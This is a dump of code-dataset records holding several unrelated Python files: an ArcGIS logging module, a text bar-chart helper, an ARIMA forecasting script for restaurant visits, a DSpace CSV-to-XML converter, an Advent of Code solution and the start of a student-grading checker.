__init__(self, filename, time_tag=False, encoding=_const.ENC_DEFAULT):\n self._id, file_path = self._get_id_name(filename, time_tag)\n super(_FileLogHandler, self).__init__(file_path, encoding=encoding)\n\n @staticmethod\n def _get_id_name(filename, time_tag=False):\n \"\"\"\n Returns a tuple with (file name/identity, file path) for the *filename* that was used to initialize\n the ``_FileLogHandler``. If *time_tag* is True, a timestamp will be added to *filename*.\n\n :rtype: tuple\n \"\"\"\n name, ext = _os.path.splitext(filename)\n if ext.lower() not in (_LOG_STD_EXT, _LOG_ALT_EXT):\n ext = _LOG_STD_EXT\n out_name = (name + _dt.now().strftime('_%Y%m%d_%H%M%S') + ext) if time_tag else (name + ext)\n if not _os.path.isabs(out_name) and not _os.path.normpath(out_name).startswith(('..\\\\', '.\\\\')):\n # If the filename is not a relative path or just a name, prepend out_name with a temp directory path\n out_name = _os.path.join(_tf.gettempdir(), out_name)\n return filename, _os.path.realpath(out_name)\n\n @property\n def identity(self):\n \"\"\"\n Returns the \"identity\" of the ``_FileLogHandler``, which is the name or path that was used to instantiate it.\n\n .. warning:: This often does not equal the path to which the ``_FileLogHandler`` is actually writing.\n\n :rtype: str\n \"\"\"\n return self._id\n\n def emit(self, record):\n \"\"\" Formats the message and emits the record. \"\"\"\n\n if not self.encoding:\n # When no encoding is specified, we don't need any overrides\n return super(_FileLogHandler, self).emit(record)\n\n # noinspection PyBroadException\n try:\n # Copied from BaseRotatingHandler.emit()\n if self.shouldRollover(record):\n self.doRollover()\n\n # Copied from FileHandler.emit()\n if self.stream is None:\n self.stream = self._open()\n\n # Override from StreamHandler.emit()\n msg = self.format(record)\n stream = self.stream\n if not isinstance(msg, unicode):\n # For encoding using _io, all incoming text should become unicode\n msg = msg.decode(self.encoding, 'replace')\n stream.write(self.__UFS % msg)\n self.flush()\n except (KeyboardInterrupt, SystemExit):\n raise\n except Exception:\n self.handleError(record)\n\n def _open(self):\n \"\"\"\n FileHandler override that uses the ``io`` module instead of the ``codecs`` module to do the encoding.\n Also creates the directory for the log file if it doesn't exist without raising the faulty EEXIST error.\n Note that this could fail if the user does not have write/execute access.\n \"\"\"\n\n try:\n _os.makedirs(_os.path.dirname(self.baseFilename))\n except OSError as e:\n if e.errno != _errno.EEXIST:\n raise\n if self.encoding is not None:\n return _io.open(self.baseFilename, self.mode, encoding=self.encoding)\n return super(_FileLogHandler, self)._open()\n\n\nclass _ArcLogHandler(_logging.StreamHandler):\n \"\"\"\n Custom log handler that writes to the standard stream (e.g. console) when the log level >= _logging.DEBUG.\n The handler also sends messages to ArcGIS when the log level >= _logging.INFO.\n \"\"\"\n\n __FS = _LOG_FMT_LF\n __UFS = unicode(__FS)\n\n def __init__(self, stream=None):\n super(_ArcLogHandler, self).__init__(stream)\n\n @property\n def _func_map(self):\n return {\n LOG_WARNING: _arcpy.AddWarning,\n LOG_ERROR: _arcpy.AddError,\n LOG_CRITICAL: _arcpy.AddError,\n LOG_INFO: _arcpy.AddMessage\n }\n\n def _emit_stream(self, msg):\n stream = self.stream\n try:\n if isinstance(msg, unicode) and getattr(stream, 'encoding', None):\n try:\n stream.write(self.__UFS % msg)\n except UnicodeEncodeError:\n stream.write((self.__UFS % msg).encode(stream.encoding))\n else:\n stream.write(self.__FS % msg)\n\n except UnicodeError:\n stream.write(self.__FS % msg.encode(_const.ENC_UTF8))\n self.flush()\n\n @staticmethod\n def _emit_arcgis(func, msg):\n try:\n if isinstance(msg, unicode):\n try:\n func(msg)\n except UnicodeEncodeError:\n func(msg.encode(_const.ENC_DEFAULT))\n else:\n func(msg)\n\n except UnicodeError:\n func(msg.encode(_const.ENC_DEFAULT))\n\n def emit(self, record):\n \"\"\"\n Emit a record.\n Override of the original StreamHandler.emit() -> see _logging.StreamHandler for documentation.\n Writes messages to ArcGIS for all log levels defined in __FUNC_MAP.\n Writes to stderr when the log level has been set to DEBUG.\n \"\"\"\n\n # noinspection PyBroadException\n try:\n msg = self.format(record)\n level = record.levelno\n arc_func = self._func_map.get(level)\n\n if level == LOG_DEBUG:\n # Only write to stderr when the message has a DEBUG log level\n self._emit_stream(msg)\n\n if arc_func:\n # Log to ArcGIS if the appropriate log function was found (note: ArcGIS logs to stderr as well)\n self._emit_arcgis(arc_func, msg)\n\n except (KeyboardInterrupt, SystemExit):\n raise\n except Exception:\n self.handleError(record)\n\n\nclass _FileLogFormatter(_logging.Formatter):\n \"\"\"\n Custom log file formatter used by the :class:`gpf.loggers._FileLogHandler`.\n\n This formatter returns a record as **[DD.MM.YYYY | HH:mm:SS | level name | log name] message**.\n\n By default, the length of the *log name* will be limited to 15 characters.\n If this should be changed, the :class`Logger` can be initialized using a different *max_name*.\n\n :param logname_length: The maximum length of the log name in the formatted record.\n :type logname_length: int\n \"\"\"\n\n def __init__(self, logname_length=_LOGNAME_LENGTH):\n self._name_max = logname_length\n fmt_l = '[%(asctime)s | %(levelname)-8.8s | %(name)s] %(message)s'\n fmt_d = '%d.%m.%Y | %H:%M:%S'\n super(_FileLogFormatter, self).__init__(fmt_l, fmt_d)\n\n def format(self, record):\n \"\"\" Format the specified record as text. Overrides the built-in logging.Formatter.format(). \"\"\"\n len_name = len(record.name)\n if len_name > self._name_max:\n # Truncate/abbreviate logger name with '...' if it's too long\n record.name = record.name[:self._name_max - 3].ljust(self._name_max, _const.CHAR_DOT)\n record.name = record.name.ljust(self._name_max)\n\n return super(_FileLogFormatter, self).format(record)\n\n\nclass _StreamFormatter(_logging.Formatter):\n \"\"\"\n Custom log stream formatter used by the :class:`gpf.loggers._ArcLogHandler`.\n\n This formatter only logs a message, prepended by a level name if it's a WARNING (or higher).\n \"\"\"\n\n def __init__(self):\n self._fmt_def = '%(message)s'\n self._fmt_lvl = '%(levelname)s: %(message)s'\n super(_StreamFormatter, self).__init__(self._fmt_def)\n\n def format(self, record):\n \"\"\" Format the specified record as text. Overrides the built-in logging.Formatter.format(). \"\"\"\n self._fmt = self._fmt_def\n if record.levelno >= LOG_WARNING:\n # only display log level if it's WARNING or higher\n self._fmt = self._fmt_lvl\n\n return super(_StreamFormatter, self).format(record)\n\n\nclass Logger(object):\n \"\"\"\n Logger(identity, {log_file}, {level}, {encoding}, {time_tag}, {max_name})\n\n Standard logger class that logs to stdout (e.g. console) and optionally a file.\n\n **Params:**\n\n - **identity** (str, unicode):\n\n The name of the owner of this Logger, as it will appear in the log file entries.\n\n - **log_file** (str, unicode, :class:`gpf.paths.Path`):\n\n Optional log file name or path to the log file.\n If there's already a log handler for this file, this handler will be used automatically.\n\n - If *log_file* does not have an extension, a *.log* extension will be added.\n - If *log_file* has an extension, but it's not *.txt* or *.log*, it will be reset to *.log*.\n - If *time_tag* is ``True`` (default), a *_YYMMDD_HHMMSS* timestamp (current local time) \\\n will be added to the log file name automatically.\n - If *log_file* is just a name, the output directory will be set to the user temp directory.\n - If *log_file* is a relative path, it will be made absolute (relative to ``os.curdir``).\n - If *log_file* is an absolute path, that path will be used as-is.\n - If the log directory of *log_file* does not exist, it will be created.\n\n When *log_file* is omitted, the Logger will only write to the stdout stream (e.g. console).\n\n - **level** (int):\n\n The minimum log level of messages that should be logged. Defaults to INFO.\n\n **Keyword params:**\n\n - **max_name** (int):\n\n The maximum length of the logger name used in the log record. Defaults to 15.\n\n - **encoding** (str):\n\n The encoding to use in log **files**. Defaults to the preferred system encoding.\n\n - **time_tag** (bool):\n\n When set to ``True`` (default), a timestamp will be appended to the log file name.\n \"\"\"\n\n def __init__(self, identity, log_file=None, level=LOG_INFO, **options):\n self._log = None\n self._state = False\n self._num_warn = 0\n self._num_err = 0\n self._name = identity\n self._level = level\n self._fileid = log_file\n self._tstart = _dt.now()\n self._options = options\n _ae.register(self.quit)\n\n def _get_logger(self):\n \"\"\" Sets up and returns a basic logger for `identity`. \"\"\"\n if self._log:\n # Logger exists. Check if (another)\n self._set_filehandler(self._log)\n return self._log\n\n # Get basic console logger and attach stream handler\n logger = _logging.getLogger(self._name)\n logger.setLevel(self._level)\n logger.addHandler(self._get_streamhandler())\n\n # If a log file was specified, attach file handler\n if self._fileid:\n logger.addHandler(self._get_filehandler() or self._attach_filehandler())\n\n return logger\n\n def _get_handler(self, match_func):\n \"\"\" Returns the first handler where ``match_func(handler) is True``. \"\"\"\n return _iter.first((h for h in self._log.handlers if match_func(h)), None) if self._log else None\n\n def _get_streamhandler(self):\n \"\"\" Returns an existing StreamHandler or a new one when not found. \"\"\"\n handler = self._get_handler(lambda h: isinstance(h, _logging.StreamHandler))\n if not handler:\n handler = _logging.StreamHandler(sys.stdout)\n handler.setFormatter(_StreamFormatter())\n return handler\n\n def _get_filehandler(self):\n \"\"\" Returns a matching _FileLogHandler for the current Logger instance. \"\"\"\n return self._get_handler(lambda h: isinstance(h, _FileLogHandler) and h.identity == self._fileid)\n\n def _attach_filehandler(self):\n \"\"\" Hooks up a new _FileLogHandler for the current Logger instance. \"\"\"\n handler = _FileLogHandler(self._fileid, **self._options)\n handler.setFormatter(_FileLogFormatter(**self._options))\n handler.addFilter(_logging.Filter(self._name))\n return handler\n\n def _set_filehandler(self, logger):\n \"\"\" If a log file was specified, attach an existing or new file handler for it. \"\"\"\n if not self._fileid:\n return\n logger.addHandler(self._get_filehandler() or self._attach_filehandler())\n\n def _close_handlers(self):\n \"\"\" Closes all handlers and clears the log handler list. \"\"\"\n if not self._log:\n # Prevent _close_handlers() method from being executed twice (e.g. by user and by atexit call)\n return\n for h in self._log.handlers:\n if hasattr(h, 'close'):\n h.close()\n # Remove handlers\n self._log.handlers = []\n\n def _process_msg(self, level, message, *args, **kwargs):\n \"\"\"\n Prepares `message` for writing (optionally replacing placeholder `args`) and writes it to the log\n for a specified `level`.\n\n :param int level: Log level (e.g. logging.INFO, logging.ERROR etc.).\n :param message: Message to write (optionally with %s placeholders).\n :param args: Optional placeholder arguments.\n :param kwargs: Other optional arguments (e.g. `exc_info=True` for exception stack trace logging).\n \"\"\"\n self._log = self._get_logger()\n try:\n if hasattr(message, 'splitlines'):\n for line in message.splitlines():\n self._log.log(level, line, *args, **kwargs)\n else:\n self._log.log(repr(message), *args, **kwargs)\n except Exception as err:\n # Never fail on logging errors. These also don't count towards the logging stats.\n self._log.warning(\"Suppressed logging exception. {}\".format(err))\n\n @property\n def file_path(self):\n \"\"\" Returns the (first) file path of the current Logger (if setup as file-based logger). \"\"\"\n fh = self._get_filehandler()\n if fh:\n return fh.baseFilename\n return None\n\n def info(self, message, **kwargs):\n \"\"\"\n Writes an info/standard message.\n\n :param message: The text to write.\n :param kwargs: Optional arguments (e.g. `exc_info=True` for exception stack trace logging).\n \"\"\"\n self._process_msg(LOG_INFO, message, **kwargs)\n\n def warning(self, message, **kwargs):\n \"\"\"\n Writes a warning message and increments the warning counter. Multi-line messages count as 1 warning.\n\n :param message: The text to write.\n :param kwargs: Optional arguments (e.g. `exc_info=True` for exception stack trace logging).\n \"\"\"\n self._process_msg(LOG_WARNING, message, **kwargs)\n self._num_warn += 1\n\n def error(self, message, **kwargs):\n \"\"\"\n Writes an error message and increments the error counter. Multi-line messages count as 1 error.\n\n :param message: The text to write.\n :param kwargs: Optional arguments (e.g. `exc_info=True` for exception stack trace logging).\n \"\"\"\n self._process_msg(LOG_ERROR, message, **kwargs)\n self._num_err += 1\n\n def critical(self, message, **kwargs):\n \"\"\"\n Writes a critical error message and increments the error counter. Multi-line messages count as 1 error.\n\n :param message: The text to write.\n :param kwargs: Optional arguments (e.g. `exc_info=True` for exception stack trace logging).\n \"\"\"\n self._process_msg(LOG_CRITICAL, message, **kwargs)\n self._num_err += 1\n\n def exception(self, message, **kwargs):\n \"\"\"\n Writes a critical error message and increments the error counter. Multi-line messages count as 1 error.\n\n :param message: The text to write.\n :param kwargs: Optional arguments (e.g. `exc_info=True` for exception stack trace logging).\n \"\"\"\n if self._log:\n self._log.exception(message, **kwargs)\n else:\n # Write to stdout if no logger was initialized (Unlike Python 3, 2.7 can't print to stderr like that)\n print(message)\n self._num_err += 1\n\n def section(self, message=_const.CHAR_EMPTY, max_length=80, symbol=_const.CHAR_DASH):\n \"\"\"\n Writes a centered message wrapped inside a section line to the log.\n When message exceeds *max_length*, it will be logged as-is.\n\n :param message: The text to put in the middle of the line (optional).\n :param max_length: The maximum length of the line.\n :param symbol: The character to generate the line.\n :type message: str, unicode\n :type max_length: int\n :type symbol: str\n \"\"\"\n if not self._log:\n self._log = self._get_logger()\n max_length -= len(self._log.name)\n msg_length = len(message)\n if msg_length < max_length - 2:\n fill_char = _const.CHAR_SPACE # default separator between line and message\n if msg_length == 0:\n fill_char = symbol # separator if there is no message\n message = message.center(msg_length + 2, fill_char).center(max_length, symbol)\n self.info(message)\n\n def status(self):\n \"\"\"\n Writes a (final) status message to the log, telling the user how\n many errors and warnings were logged by this instance.\n\n Example:\n\n >>> l = Logger('test')\n >>> l.error('message')\n ERROR: message\n >>> l.warning('message')\n WARNING: message\n >>> l.status()\n Logged 1 error and 1 warning.\n >>> l.reset_stats()\n >>> l.status()\n Logged 0 errors and 0 warnings.\n\n \"\"\"\n errors = _tu.format_plural('error', self._num_err)\n warnings = _tu.format_plural('warning', self._num_warn)\n self.info('Logged {} and {}.'.format(errors, warnings))\n\n def time_elapsed(self, func=None, *args, **kwargs):\n \"\"\"\n Logs a nicely printed message stating how much time has passed.\n If the callable *func* is specified, this function is executed and its execution time is logged.\n If no callable *func* has been given, the elapsed time (since init or last ``reset_stats`` call) is logged.\n\n :param func: The optional callable to execute.\n :param args: Positional arguments for *func*.\n :param kwargs: Keyword arguments for *func*.\n :type func: function, class\n \"\"\"\n if func:\n _vld.pass_if(callable(func), TypeError, \"'func' attribute must be a callable\")\n start = _dt.now()\n func(*args, **kwargs)\n self.info('{}() executed in {}'.format(func.__name__, _tu.format_timedelta(start)))\n else:\n self.info('Time elapsed: {}'.format(_tu.format_timedelta(self._tstart)))\n\n def reset_stats(self, time=True):\n \"\"\"\n Resets the error and warning counters. Optionally, the start time can also be reset.\n\n :param time: When ``True`` (default) the start time of the logger will also be reset (to local ``now()``).\n :type time: bool\n \"\"\"\n if time:\n self._tstart = _dt.now()\n self._num_warn = 0\n self._num_err = 0\n\n def quit(self, error_msg=None):\n \"\"\"\n Releases the current logger and shuts down the (main) logger.\n\n :param error_msg: Optional termination message (or Exception instance) for fatal errors.\n\n ..note:: No more logging can take place after this call.\n Under normal circumstances, the user does not need to call this method, because it is\n automatically being called once the user application has exited.\n \"\"\"\n if error_msg:\n if isinstance(error_msg, Exception):\n self.exception(error_msg)\n else:\n self.critical(error_msg)\n self._close_handlers()\n self._log = None\n\n\nclass ArcLogger(Logger):\n \"\"\"\n ArcLogger(identity, {log_file}, {level}, {encoding}, {time_tag}, {max_name})\n\n Logger that forwards all messages to ArcGIS and optionally logs to a file.\n Forwarding messages to ArcGIS is only useful when logging from an ArcToolbox or GEONIS Python script.\n\n **Params:**\n\n - **identity** (str, unicode):\n\n The name of the owner of this Logger, as it will appear in the log file entries.\n\n - **log_file** (str, unicode, :class:`gpf.paths.Path`):\n\n Optional log file name or path to the log file.\n If there's already a log handler for this file, this handler will be used automatically.\n\n - If *log_file* does not have an extension, a *.log* extension will be added.\n - If *log_file* has an extension, but it's not *.txt* or *.log*, it will be reset to *.log*.\n - If *time_tag* is ``True`` (default = ``False``), a *_YYMMDD_HHMMSS* timestamp (current local time) \\\n will be added to the log file name automatically.\n - If *log_file* is just a name, the output directory will be set to the user temp directory.\n - If *log_file* is a relative path, it will be made absolute (relative to ``os.curdir``).\n - If *log_file* is an absolute path, that path will be used as-is.\n - If the log directory of *log_file* does not exist, it will be created.\n\n When *log_file* is omitted, the Logger will only write to the stdout stream (e.g. console).\n\n - **level** (int):\n\n The minimum log level of messages that should be logged. Defaults to INFO.\n\n **Keyword params:**\n\n - **max_name** (int):\n\n The maximum length of the logger name used in the log record. Defaults to 15.\n\n - **encoding** (str):\n\n The encoding to use in log files (only). Defaults to cp1252 on Windows.\n\n - **time_tag** (bool):\n\n When set to ``True`` (default = ``False``), a timestamp will be appended to the log file name.\n \"\"\"\n\n def __init__(self, identity, log_file=None, level=LOG_INFO, **options):\n super(ArcLogger, self).__init__(identity, log_file, level, **options)\n\n def _get_streamhandler(self):\n \"\"\" Returns an existing _ArcLogHandler or StreamHandler or a new one when not found. \"\"\"\n handler = self._get_handler(lambda h: isinstance(h, _ArcLogHandler))\n if not handler:\n handler = _ArcLogHandler(sys.stdout)\n handler.setFormatter(_StreamFormatter())\n return handler\n","sub_path":"gpf/loggers.py","file_name":"loggers.py","file_ext":"py","file_size_in_byte":25059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"410501610","text":"# Dedicated to the public domain under CC0: https://creativecommons.org/publicdomain/zero/1.0/.\n\nfrom enum import Enum\nfrom typing import Iterable, Mapping, Union\n\n\nvertical_bars = ' ' + ''.join(chr(i) for i in range(0x2581, 0x2589))\n\nhorizontal_bars = (\n ' '\n '\\u258f' # Left one eighth block.\n '\\u258e' # Left one quarter block.\n '\\u258d' # Left three eighths block.\n '\\u258c' # Left half block.\n '\\u258b' # Left five eighths block.\n '\\u258a' # Left three quarters block.\n '\\u2589' # Left seven eighths eighths block.\n '\\u2588' # Full block.\n)\n\nfull_block = '\\u2588'\n\n_min = min\n_max = max\n\n_Num = Union[int,float]\n\n\ndef chart_seq_inline(values:Iterable[_Num], max:_Num=0) -> str:\n values = tuple(values)\n if not values: return ''\n if max <= 0:\n max = _max(values)\n if max <= 0: return '\\u2592' * len(values) # Medium shade block.\n return ''.join(vertical_bars[int(0.5 + (8 * _max(0, _min(1, v/max))))] for v in values)\n\n\nclass ChartMode(Enum):\n Normalized, Total, Cumulative, Ratio = range(4)\n\n\ndef chart_items(m:Mapping, mode=ChartMode.Normalized, threshold=0, sort_by_val=False, width=64) -> str:\n '''\n create a chart from a map, where values are either integers or pairs of integers\n (for ChartModeRatio).\n threshold is a minimum denominator count for ratios, and a minimum ratio otherwise.\n '''\n\n # rows are of form (sortKey, name, val, ratio). key can be of any type; name and val must be strings.\n rows = []\n\n if m and mode in (ChartMode.Total, ChartMode.Cumulative):\n total = sum(m.values())\n if mode is ChartMode.Cumulative:\n cum = 0\n\n elif m and mode is ChartMode.Normalized:\n max_val = max(m.values())\n if max_val <= 0:\n max_val = 1 # hack to prevent divide by zero.\n\n for k, v in sorted(m.items()):\n\n if mode is ChartMode.Normalized:\n r = v / max_val\n if r < threshold:\n continue\n val = '{:,}'.format(v)\n\n elif mode is ChartMode.Total:\n r = v / max(total, 1)\n if r < threshold:\n continue\n val = '{:,}'.format(v)\n\n elif mode is ChartMode.Cumulative:\n cum += v\n r = cum / total\n if r > 1 - threshold:\n continue\n val = '{:,}'.format(cum)\n\n elif mode is ChartMode.Ratio:\n if v[0] == 0 or v[1] < threshold:\n continue\n r = v[0] / v[1]\n val = '{:,}/{:,}'.format(*v)\n\n\n sort_key = r if sort_by_val else k\n row = (sort_key, str(k), val, r)\n rows.append(row)\n\n if not rows:\n return ''\n\n rows.sort(reverse=sort_by_val)\n\n name_width = max(len(r[1]) for r in rows)\n val_width = max(len(r[2]) for r in rows)\n\n lines = [chart_line(n, v, r, name_width=name_width, val_width=val_width, bar_width=width, suffix='\\n') for sk, n, v, r in rows]\n\n return ''.join(lines)\n\n\ndef chart_line(name:str, val:str, ratio:float, name_width:int, val_width:int, bar_width:int, suffix='') -> str:\n 'create a string for a single line of a chart.'\n n = f'{name:<{name_width}}'\n v = f'{val:>{val_width}}'\n b = bar_str(ratio, bar_width, pad_right=bool(suffix))\n\n return ' {} : {} {:.3f} {}{}'.format(n, v, ratio, b, suffix)\n\n\ndef bar_str(ratio:float, width:int, pad_right=False) -> str:\n 'create a string of block characters for the given ratio and width.'\n if ratio > 1:\n return '*' * width\n\n index = int(ratio * width * 8) # quantize the ratio\n solid_count = index // 8 # number of filled blocks\n fraction_index = index % 8\n solid = full_block * solid_count # string of solid blocks\n fraction = horizontal_bars[fraction_index] if fraction_index else '' # fraction char string\n pad = (' ' * (width - (solid_count + len(fraction)))) if pad_right else ''\n\n return f'{solid}{fraction}{pad}'\n\n\n\nif __name__ == '__main__':\n for mode in (ChartMode.Normalized, ChartMode.Total, ChartMode.Cumulative):\n print(mode)\n m = { i : i for i in range(32) }\n print(chart_items(m, mode=mode))\n","sub_path":"pithy/text_charts.py","file_name":"text_charts.py","file_ext":"py","file_size_in_byte":3857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"577984169","text":"# garbage collector\nimport gc\n\nimport pandas as pd\nimport numpy as np\nfrom pyramid.arima import auto_arima\nfrom statsmodels.tsa.arima_model import ARIMA\nimport matplotlib.pyplot as plt\n\nimport Load_Data as LD\n\nlog_trans = True\n\nair_visit_data = LD.air_visit_data\ndata = pd.pivot_table(air_visit_data, values = 'visitors', index = 'air_store_id', columns = 'visit_date', fill_value = 0)\n# Normalization with log1p\nif log_trans:\n data = np.log(1+data)\ndata.drop(index = ['air_0ead98dd07e7a82a',\n 'air_229d7e508d9f1b5e',\n 'air_2703dcb33192b181',\n 'air_b2d8bc9c88b85f96',\n 'air_cb083b4789a8d3a2',\n 'air_cf22e368c1a71d53',\n 'air_d0a7bd3339c3d12a',\n 'air_d63cfa6d6ab78446'], inplace = True)\n# series = pd.DataFrame(data.T.values, index = data.columns)\n# print(series)\nprint(data)\n\nN = data.shape[0]\nanswer = np.zeros((N,39))\ntrain = True\nif train:\n # Apply ARIMA on each restaurant\n for i in range(N):\n train_data = data.iloc[i]\n # fit model\n model = auto_arima(train_data, start_p=1, start_q=1,\n max_p=3, max_q=3, m=12,\n start_P=0, seasonal=False,\n d=1, D=1, trace=True,\n error_action='ignore', \n suppress_warnings=True, \n stepwise=True)\n # freq : str {'B','D','W','M','A', 'Q'}\n # 'B' - business day, ie., Mon. - Fri.\n # 'D' - daily\n # 'W' - weekly\n # 'M' - monthly\n # 'A' - annual\n # 'Q' - quarterly\n # model = ARIMA(train_data, order=(7,1,0), freq = 'D')\n model.fit(train_data)\n answer[i,:] = model.predict(n_periods=39)\n del model\n gc.collect()\n # model_fit.predict(start = '2017-04-23', end = '2017-05-31')\n if (i+1)%(N/10.) < 1:\n print('{:.0%} have done!'.format((i+1)/N))\n\n np.save('answer.npy', answer)\n print(answer)\n\n# answer = np.load('answer.npy')\n# Denormalize\nif log_trans:\n answer = np.exp(answer)-1\n\n# # validation\n# def valid():\n# return\n\n# submit.csv\ndef submit(answer):\n test_range = pd.date_range(start='2017-04-23', end='2017-05-31', freq='D')\n with open('submit.csv', 'w') as f:\n f.write('id,visitors\\n')\n for i,r in enumerate(data.index):\n for a, date in zip(answer[i], test_range):\n f.write('{}_{:%Y-%m-%d},{}\\n'.format(r, date, a))\n\nsubmit(answer)\nprint('Done!')\n\n# plot residual errors\n# residuals = pd.DataFrame(model_fit.resid)\n# residuals.plot()\n# plt.savefig(\"1.png\")\n# plt.clf()\n# residuals.plot(kind='kde')\n# plt.savefig(\"2.png\")\n# plt.clf()\n# print(residuals.describe())\n","sub_path":"auto_ARIMA.py","file_name":"auto_ARIMA.py","file_ext":"py","file_size_in_byte":2805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"487768616","text":"#!/usr/bin/env python3\n\n\"\"\"\nConvert DSpace search results CSV to XML\n\"\"\"\n\nimport argparse, os\nimport re\nimport tablib\nimport xml.dom.minidom as minidom\nfrom pathlib import Path\n\ndef addsubelement(document, parent, element, value):\n element = re.sub(r\"\\[en\\]\", \"\", element)\n subelement = document.createElement(element)\n subelement.appendChild(document.createTextNode(value))\n parent.appendChild(subelement)\n\ndef processrow(root, document, data, row):\n record = document.createElement(\"record\")\n root.appendChild(record)\n\n for header in data.headers:\n if data[header][row]:\n if re.search(r\"\\|\\|\", data[header][row]):\n for s in re.split(\"\\|\\|\", data[header][row]):\n addsubelement(document, record, header, s)\n else:\n addsubelement(document, record, header, data[header][row])\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Convert DSpace search results CSV to XML\")\n parser.add_argument(\"infilename\", help=\"CSV source file\")\n args = parser.parse_args()\n\n data = tablib.Dataset()\n with open(args.infilename, \"r\") as f:\n data.csv = f.read()\n\n document = minidom.getDOMImplementation().createDocument(None, \"records\", None)\n root = document.documentElement\n\n for row in range(data.height):\n processrow(root, document, data, row)\n\n outfile = Path(args.infilename).with_suffix(\".xml\")\n outfile.write_text(document.toprettyxml())\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"dspacecsv2xml.py","file_name":"dspacecsv2xml.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"365024599","text":"import sys\nimport os\nimport requests\nimport requests_cache\n\nrequests_cache.install_cache('../cache')\nurl = 'https://adventofcode.com/' + os.path.abspath(__file__).split('/')[-2] + '/day/' + __file__.split('.')[0] + '/input'\ns = requests.get(url, cookies={\"session\": os.environ['SESSION']}).text.strip()\n\ncount = 0\nfor i in range(len(s.splitlines())):\n if i < 3:\n continue\n elif list(map(int, s.splitlines()))[i] > list(map(int, s.splitlines()))[i-3]:\n count += 1\nprint(count)\n","sub_path":"2021/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"287770997","text":"#!/usr/bin/env python3\n###############################################################################\n## vim: et ai ts=4\n##\nimport os\nimport re\nimport argparse as ap\n\nclass Grading:\n\n ###########################################################################\n ## Statische Variablen und Funktionen\n ##\n ClassPattern = \"^\\s*class\\s+(?=[a-zA-Z_])\"\n DefPattern = \"^\\s*def\\s+(?=[a-zA-Z_])\"\n IndentPattern = \"^[ \\t]*\"\n ImportPattern = \"^\\s*import\\s+(?=[a-zA-Z_])\"\n FromImportPattern = \"^\\s*from\\s.*\\simport\\s\"\n BlankLinePattern = \"^\\s*$\"\n LineCommentPattern = \"^\\s*#\"\n AufgabePattern = \"^Aufgabe\\s*=\\s*\\d+\"\n StudentenLDPattern = \"^Studenten\\s*=\\s*\\[\\]\"\n StudentenAPPattern = \"^Studenten.append\\(\\{\"\n GruppenPattern = \"^Gruppennummer\\s*=\\s*\\d+\"\n\n ###############################################################################\n ## Checkfunktion: Diese Funktion prueft, ob die Gruppennummer und die Eintaege\n ## der Studentendaten im richtigen Format vorliegen.\n @staticmethod\n def CheckStudents(students, group, task, maxStudents=7, ExOK=False, printList=True):\n ## Pruefe den Variablentyp:\n assert isinstance(group, int) , \"Die Gruppennummer muss eine Zahl sein!\"\n assert ExOK or group != 0 , \"Die Gruppennummer ist noch mit dem Beispieleintrag versehen!\"\n assert group >= 0 , \"Die Gruppennummer muss eine positve Zahl sein!\"\n assert isinstance(students, list) , \"Die Studenten muessen in einer Liste stehen!\"\n assert isinstance(task, int) , \"Die Aufgabennummer muss eine Zahl sein!\"\n assert ExOK or task != 0 , \"Die Aufgabennummer ist noch mit dem Beispieleintrag versehen!\"\n assert task >= 0 , \"Die Aufgabennummer muss eine positve Zahl sein!\"\n\n ## Da die Variable students eine Liste ist, hat sie auch eine Laenge:\n studentCount = len(students)\n assert 0 < studentCount <= maxStudents , \"Die Anzahl der Studenten muss zwischen 1 und %i liegen!\" % (maxStudents)\n\n ## Um dauf Mehrfacheintraege hin zu pruefen, werden folgende Listen\n ## initalisiert:\n MatNr = []\n Namen = []\n\n ## Es werden nun nacheinander alle Listeneintraege von students geprueft:\n for person in range(studentCount):\n ## Pruefe den Variablentyp des xten Eintrags der Liste:\n assert isinstance(students[person], dict) , \"Der Eintrag fuer den %i. Studenten muss ein Dictionary Eintrag sein!\" % (person + 1)\n\n ## Pruefe den Schluessel 'matnr' auf notwendige Eigenschaften:\n assert 'matnr' in students[person] , \"Der Eintrag fuer den %i. Studenten muss den Schluessel 'matnr' haben!\" % (person + 1)\n assert isinstance(students[person]['matnr'], int) , \"Die Matrikelnummer des %i. Studenten muss eine Zahl sein!\" % (person + 1)\n assert 9999 < students[person]['matnr'] <= 99999 , \"Die Matrikelnummer des %i. Studenten muss fuenfstellig sein!\" % (person + 1)\n assert ExOK or students[person]['matnr'] / 10 != 1234 , \"Die Matrikelnummer des %i. Studenten ist noch mit dem Beispieleintrag versehen!\" % (person + 1)\n\n ## Pruefe den Schluessel 'nachname' auf notwendige Eigenschaften:\n assert 'nachname' in students[person] , \"Der Eintrag fuer den %i. Studenten muss den Schluessel 'nachname' haben!\" % (person + 1)\n assert isinstance(students[person]['nachname'], str) , \"Der Nachname des %i. Studenten muss ein String sein!\" % (person + 1)\n assert len(students[person]['nachname']) > 1 , \"Der Nachname des %i. Studenten muss mindestens 2 Zeichen lang sein!\" % (person + 1)\n assert ExOK or students[person]['nachname'][:8] != \"NACHNAME\", \"Der Nachname des %i. Studenten ist noch mit dem Beispieleintrag versehen!\" % (person + 1)\n\n ## Pruefe den Schluessel 'vorname' auf notwendige Eigenschaften:\n assert 'vorname' in students[person] , \"Der Eintrag fuer den %i. Studenten muss den Schluessel 'vorname' haben!\" % (person + 1)\n assert isinstance(students[person]['vorname'], str) , \"Der Vorname des %i. Studenten muss ein String sein!\" % (person + 1)\n assert len(students[person]['vorname']) > 1 , \"Der Vorname des %i. Studenten muss mindestens 2 Zeichen lang sein!\" % (person + 1)\n assert ExOK or students[person]['vorname'][:7] != \"VORNAME\" , \"Der Vorname des %i. Studenten ist noch mit dem Beispieleintrag versehen!\" % (person + 1)\n\n ## Vorbereitung auf Dubletten Check beim Namen und der Matrikelnummer\n MatNr.append(students[person]['matnr'])\n Namen.append(students[person]['vorname'] + students[person]['nachname'])\n\n ## Dubletten Check beim Namen und der Matrikelnummer\n assert studentCount == 